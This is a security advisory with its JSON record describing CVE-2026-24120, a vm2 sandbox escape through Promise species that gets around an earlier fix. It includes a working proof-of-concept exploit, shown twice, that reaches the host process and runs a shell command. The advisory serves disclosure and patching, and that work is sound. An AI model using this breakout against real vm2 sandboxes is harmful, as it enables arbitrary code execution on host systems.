GHSA-QVJJ-29QF-HP7P
Vulnerability from github – Published: 2026-05-05 16:23 – Updated: 2026-05-05 16:23Summary
The fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-cchq-frgv-rjh5 is insufficient and can be circumvented allowing attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.
Details
The fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-cchq-frgv-rjh5 introduced the function resetPromiseSpecies https://github.com/patriksimek/vm2/blob/4b009c2d4b1131c01810c1205e641d614c322a29/lib/setup-sandbox.js#L35C7-L39.
This function changes the species property of promise objects back to a known value. However, it uses the function [].includes and Object.defineProperty which can be overewritten to prevent the species from being changed.
PoC
The following code demonstrates this issue by aquiring the host process object and executing touch pwned.
const {VM} = require("vm2");
const vm = new VM();
vm.run(`
Object.defineProperty=()=>{};
async function fn() {
const e = new Error();
e.name = Symbol();
return e.stack;
}
p = fn();
p.constructor = {
[Symbol.species]: class FakePromise {
constructor(executor) {
executor(
(x) => x,
(err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch pwned'); }
)
}
}
};
p.then();
`);
Impact
Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.10.3"
},
"package": {
"ecosystem": "npm",
"name": "vm2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.10.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-24120"
],
"database_specific": {
"cwe_ids": [
"CWE-693",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T16:23:35Z",
"nvd_published_at": "2026-05-04T17:16:21Z",
"severity": "CRITICAL"
},
"details": "### Summary\n\nThe fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-cchq-frgv-rjh5 is insufficient and can be circumvented allowing attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.\n\n### Details\n\nThe fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-cchq-frgv-rjh5 introduced the function `resetPromiseSpecies` https://github.com/patriksimek/vm2/blob/4b009c2d4b1131c01810c1205e641d614c322a29/lib/setup-sandbox.js#L35C7-L39.\nThis function changes the `species` property of promise objects back to a known value. However, it uses the function `[].includes` and `Object.defineProperty` which can be overewritten to prevent the species from being changed.\n\n### PoC\n\nThe following code demonstrates this issue by aquiring the host process object and executing `touch pwned`.\n\n```js\nconst {VM} = require(\"vm2\");\nconst vm = new VM();\nvm.run(`\nObject.defineProperty=()=\u003e{};\nasync function fn() {\n const e = new Error();\n e.name = Symbol();\n return e.stack;\n}\np = fn();\np.constructor = {\n [Symbol.species]: class FakePromise {\n constructor(executor) {\n executor(\n (x) =\u003e x,\n (err) =\u003e { return err.constructor.constructor(\u0027return process\u0027)().mainModule.require(\u0027child_process\u0027).execSync(\u0027touch pwned\u0027); }\n )\n }\n }\n};\np.then();\n`);\n```\n\n### Impact\n\nAttackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.",
"id": "GHSA-qvjj-29qf-hp7p",
"modified": "2026-05-05T16:23:35Z",
"published": "2026-05-05T16:23:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-cchq-frgv-rjh5"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-qvjj-29qf-hp7p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24120"
},
{
"type": "PACKAGE",
"url": "https://github.com/patriksimek/vm2"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/releases/tag/v3.10.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "VM2 Has Sandbox Breakout Through Promise Species"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.